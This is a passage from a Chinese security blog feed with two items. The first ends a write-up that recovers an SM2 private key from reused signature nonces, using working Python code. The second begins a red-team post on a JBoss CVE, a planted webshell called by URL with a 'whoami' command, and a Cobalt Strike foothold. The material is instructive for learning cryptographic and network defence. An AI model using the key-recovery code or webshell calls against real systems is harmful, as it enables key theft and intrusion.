left;">r</span><sub style="font-family: 微软雅黑;text-align: left;white-space: normal;">1</sub><span style="font-family: 微软雅黑;font-size: 14px;text-align: left;">-(s</span><sub style="font-family: 微软雅黑;text-align: left;white-space: normal;">1</sub><span style="font-family: 微软雅黑;font-size: 14px;text-align: left;">-</span><span style="font-family: 微软雅黑;font-size: 14px;text-align: left;">s</span><sub style="font-family: 微软雅黑;text-align: left;white-space: normal;">2</sub><span style="font-family: 微软雅黑;font-size: 14px;text-align: left;">))</span><sup style="font-family: 微软雅黑;text-align: left;white-space: normal;">-1</sup><span style="font-family: 微软雅黑;font-size: 14px;text-align: left;">-1 (mod n)</span><span style="font-family: Consolas;"></span><span style="font-family: 微软雅黑;">写成</span><span style="font-family: Consolas;">python</span><span style="font-family: 微软雅黑;">代码如下</span><span style="font-family: Consolas;">:</span></span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-size: 14px;"><span style="font-family: Consolas;color: rgb(38, 139, 210);"></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span class="code-snippet_outer"><span class="code-snippet__attr">d</span>=((r2-r1)*ext_euclid(r2-r1-(s1-s2),n)[<span class="code-snippet__number">0</span>]-<span class="code-snippet__number">1</span>) % n</span></code></pre></section><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-size: 14px;"><span style="font-family: Consolas;color: rgb(38, 139, 210);"></span></span><br/></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;"> </span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;">r<sub>1、</sub>r<sub>2、</sub>s<sub>1、</sub>s<sub>2</sub>均已知，模数n未知。实际上sm2在用于签名时并未交换n,a,b,p等参数，但是这些参数双方保持一致才能进行签名和验签，所以n,a,b,p参数应该存在默认值，于是我在python的gmssl库的sm2算法中找到了这些默认值：</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4077669902912621" data-s="300,640" style="" data-type="png" data-w="1339" src="https://wechat2rss.xlab.app/img-proxy/?k=ae89ec6b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9hEzEQ5103M7j4nlkJsK0icoYfKf56M61wsgfX5qgG0ZXtk72RRCiatFP4vOXBKQWaVY45M9K9rdjQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;">即</span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-size: 14px;"><span style="font-family: Consolas;color: rgb(38, 139, 210);"></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="ini"><code><span class="code-snippet_outer"><span class="code-snippet__attr">n</span>=<span class="code-snippet__number">0</span>xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123</span></code></pre></section><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-size: 14px;"><span style="font-family: Consolas;color: rgb(211, 54, 130);"></span></span><br/></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: Consolas;color: rgb(211, 54, 130);font-size: 14px;"> </span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;">完整python代码：</span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;line-height: 16.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;"> </span></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-size: 14px;"><span style="font-family: Consolas;color: rgb(38, 139, 210);"></span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">e1=0x875817FFC25231A88B68696273AEECE852A10CCDE93C19476482EBA4D4877322</span></code><code><span class="code-snippet_outer">r1=0x1260185C3D7437E6A63F1E18FD810A314A5E27D67884A83F1283D72F1009F699</span></code><code><span class="code-snippet_outer">s1=0x0E9F423B578A8707C83C1A0A3982F52D0FF718C2B481966E4D839CD566EE7209</span></code><code><span class="code-snippet_outer">e2=0x8FB2B63B9CF9ED7842CC0E0A204B36A3ED5C45936B6148646A26915120F6C7D2 </span></code><code><span class="code-snippet_outer">r2=0x1ABAB698181BF3B65DA2C2C0AA1D53ECE519609BFAA9D75C18277CDB5C794B49 </span></code><code><span class="code-snippet_outer">s2=0xEBB541CA42C5CCA5FA1324DDC32D3F352546FE4EECE8034E1D64A2848E2A93B9</span></code><code><span class="code-snippet_outer">n=0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123</span></code><code><span class="code-snippet_outer">def ext_euclid(a, b):     </span></code><code><span class="code-snippet_outer">    if b == 0:         </span></code><code><span class="code-snippet_outer">        return 1, 0, a     </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">else</span>:         </span></code><code><span class="code-snippet_outer">        x, y, q = ext_euclid(b, a % b)        </span></code><code><span class="code-snippet_outer">        x, y = y, (x - (a // b) * y)         </span></code><code><span class="code-snippet_outer">        return x, y, q</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">d=((r2-r1)*ext_euclid(r2-r1-(s1-s2),n)[0]-1) % n</span></code><code><span class="code-snippet_outer">print(hex(d))</span></code></pre></section><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: Consolas;color: rgb(151, 151, 151);font-size: 14px;"></span><br/></p><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;">解出私钥d为：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"><span class="code-snippet__number">0x3b90f86f263049adbae06cbb1e2f8efef2142f2cc4979050a3d3109df7d</span>83714</span></code></pre></section><p style="text-align: left;margin-left: 0.0pt;text-indent: 0.0pt;line-height: normal;font-size: 12.0pt;font-family: 宋体;font-weight: normal;margin-top: 0.0pt;margin-bottom: 0.0pt;"><span style="font-family: 微软雅黑;font-size: 14px;"></span><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5739983646770237" data-s="300,640" style="" data-type="png" data-w="1223" src="https://wechat2rss.xlab.app/img-proxy/?k=7d57c4be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cH9hEzEQ5103M7j4nlkJsK0icpwV20VxPJo6agIFfCicicMKUOSGuDNpvLibpgFbicZePYXxLGEibdoAz9yw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-size: 12pt;font-family: 宋体;font-weight: normal;margin-top: 0pt;margin-bottom: 0pt;"><span style="font-family: 微软雅黑;font-size: 14px;"> </span></p><p style="max-width: 100%;min-height: 1em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">                                                                     <br style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" style="max-width: 100%;background-color: rgb(255, 255, 255);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(163, 163, 163) !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" data-darkmode-color-16291931044949="rgb(254, 254, 254)" data-darkmode-original-color-16291931044949="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" data-darkmode-color-16291931044949="rgb(254, 254, 254)" data-darkmode-original-color-16291931044949="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); visibility: visible; box-sizing: border-box !important; overflow-wrap: break-word !important;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-darkmode-bgcolor-16291931044949="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16291931044949="#fff|rgb(255, 255, 255)" data-darkmode-color-16291931044949="rgb(141, 141, 141)" data-darkmode-original-color-16291931044949="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;color: rgb(89, 89, 89);font-size: 18px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">总结</span></strong><span style="text-indent: 2em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;text-align: justify;"></span></p></section></section></section><p style="margin:0in;font-family:&#34;Microsoft YaHei&#34;;font-size:12.0pt;"><span style="font-weight:bold;"><br/></span></p><section style="margin: 0in;font-family: &#34;Microsoft YaHei&#34;;font-size: 12pt;text-indent: 2em;"><span style="font-size: 14px;">此题的关键点在于由r<span style="font-size: 14px;vertical-align: sub;">1</span>-r<span style="font-size: 14px;vertical-align: sub;">2</span>=e<span style="font-size: 14px;vertical-align: sub;">1</span>-e<span style="font-size: 14px;vertical-align: sub;">2</span> (mod n) 推导出两次的倍点x坐标相同，进而推导出两次使用的k值相同，再利用两次签名的r值相减，得到方程解出私钥d。由此看来，使用sm2签名时，必须保证k值的随机性，并且不能重复，一旦重复就可以被计算出私钥。</span></section><p style="text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-weight: normal;margin-top: 0pt;margin-bottom: 0pt;"><span style="font-family:微软雅黑;"><span style="font-size: 14px;"><br/></span></span></p><section class="mp_profile_iframe_wrp"><mpprofile class="js_uneditable custom_select_card mp_profile_iframe" data-pluginname="mpprofile" data-id="Mzg2NjYwMTk0MA==" data-headimg="http://mmbiz.qpic.cn/mmbiz_png/yYePiaZj2cHibYMGgsCATs68fsqzZNMtia0fjXEtEXd7gfw5xmAcQdEmAoOOFcS4Ce6vQyyh0DJtq8po5bQicfRrKA/0?wx_fmt=png" data-nickname="InBug实验室" data-alias="" data-signature="信息安全相关信息推送，专注于红蓝对抗。" data-from="0"></mpprofile></section><p style="text-align: left;margin-left: 0pt;text-indent: 0pt;line-height: normal;font-weight: normal;margin-top: 0pt;margin-bottom: 0pt;"><br/></p>



<p><a href="2247484045">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6528146c&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NjYwMTk0MA%3D%3D%26mid%3D2247484045%26idx%3D1%26sn%3D2a6dd117555f71b595f20efc6210d145%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 31 Aug 2021 12:05:00 +0800</pubDate>
    </item>
    <item>
      <title>如何打穿几千台机器的内网域渗透？当然是靠 WMI 横向移动了</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NjYwMTk0MA==&amp;mid=2247484044&amp;idx=1&amp;sn=9f464f1c2f6ca1e95a012ec903776f9b</link>
      <description>如何打穿几千台的内网域渗透？当然是靠 WMI 横向移动了</description>
      <content:encoded><![CDATA[<p>
原创 <span>InBug实验室</span> <span>2021-08-20 18:15</span> <span style="display: inline-block;"></span>
</p>

<p>如何打穿几千台的内网域渗透？当然是靠 WMI 横向移动了</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d8faeb2b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzhicSiccHrquH6r3HMJ1niaCeTmB2Bkia9ticLxTMgdBdQwZxewdvbiaRfXpg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">                                                                  <br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;min-height: 1em;color: rgb(254, 254, 254);font-size: 14px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 254)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)" style="max-width: 100%;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span data-brushtype="text" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(141, 141, 141)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" data-style="max-width: 100%; font-size: 18px; color: rgb(89, 89, 89); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__1" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(141, 141, 141)" data-darkmode-original-color-16251004459938="#fff|rgb(254, 254, 254)|rgb(89, 89, 89)" style="max-width: 100%;font-size: 18px;color: rgb(89, 89, 89);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">前言</span></strong></p></section></section></section><section style="max-width: 100%;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-indent: 2em;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></section><section><span style="font-size: 14px;">首先是发现了一个 CVE-2017-12149：</span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8953934740882917" data-s="300,640" style="" data-type="png" data-w="2084" src="https://wechat2rss.xlab.app/img-proxy/?k=1ab195c2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzmu0iaOvicO6QBwbBuv0xj0ah2JWBqlVufGmehy8cGq5r48QCib1y6E2uA%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">访问 </span><span style="font-size: 14px;"><a href="http://inbug.org:9090/status" target="_blank">http://inbug.org:9090/status</a></span><span style="font-size: 14px;"> 发现有日志，已经被上传了 webshell：</span><br/></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5866220735785953" data-s="300,640" style="" data-type="png" data-w="2990" src="https://wechat2rss.xlab.app/img-proxy/?k=c5470cfd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXz6O5fyAgJu6nxZKibPVJbomv4LjjkAbOx0AX25I9qb1UfqE0UDqvnY4g%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">那么就用别人的把：</span><span style="font-size: 14px;"><a href="http://inbug.org:9090/jexws4/jexws4.jsp?ppp=whoami" target="_blank">http://inbug.org:9090/jexws4/jexws4.jsp?ppp=whoami</a></span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2655709342560554" data-s="300,640" style="" data-type="png" data-w="2312" src="https://wechat2rss.xlab.app/img-proxy/?k=89c2543f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzDHGjrqT5u9tvoLicMibbhtOohLEJNaVWR21wUWRLtfe3HWicbdwjtt9SQ%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">通过 powershell 上线到 Cs：</span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6223262032085561" data-s="300,640" style="" data-type="png" data-w="2992" src="https://wechat2rss.xlab.app/img-proxy/?k=6e68e291&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzfsbnue1tsAl6ia8tSTxcoHCTLnY31ibfqZI2NIRZamvOjpr1nhZ5Xlaw%2F640%3Fwx_fmt%3Dpng"/></p><section><span style="font-size: 14px;">发现有几百个补丁提权无果：</span></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.749597423510467" data-s="300,640" style="" data-type="png" data-w="2484" src="https://wechat2rss.xlab.app/img-proxy/?k=4fe40c94&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FyYePiaZj2cHibyJSrMiayWWTARicQ4qu1TXzN3nIoWvCOiavLAbl5XNCCiajkT4Xhj6rJpMibGib6omzicD3DL5X37TowDg%2F640%3Fwx_fmt%3Dpng"/></p><p style="max-width: 100%;min-height: 1em;font-family: -apple-system, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">                    <br style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section data-tools="135编辑器" data-id="88109" data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-style="max-width: 100%; font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif; letter-spacing: 0.544px; white-space: normal; background-color: rgb(255, 255, 255); caret-color: rgb(51, 51, 51); box-sizing: border-box !important; overflow-wrap: break-word !important; visibility: visible;" class="js_darkmode__0" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);caret-color: rgb(51, 51, 51);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="margin-right: auto;margin-left: auto;max-width: 100%;text-align: center;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" style="padding: 5px 20px;max-width: 100%;box-sizing: border-box;border-radius: 4px;border-width: 1px;border-style: solid;border-color: rgb(117, 117, 118);display: inline-block;visibility: visible;overflow-wrap: break-word !important;"><p data-darkmode-bgcolor-16250261668466="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16250261668466="#fff|rgb(255, 255, 255)" data-darkmode-color-16250261668466="rgb(254, 254, 254)" data-darkmode-original-color-16250261668466="#fff|rgb(254, 254, 254)" data-darkmode-bgcolor-16251004459938="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16251004459938="#fff|rgb(255, 255, 255)" data-darkmode-color-16251004459938="rgb(254, 254, 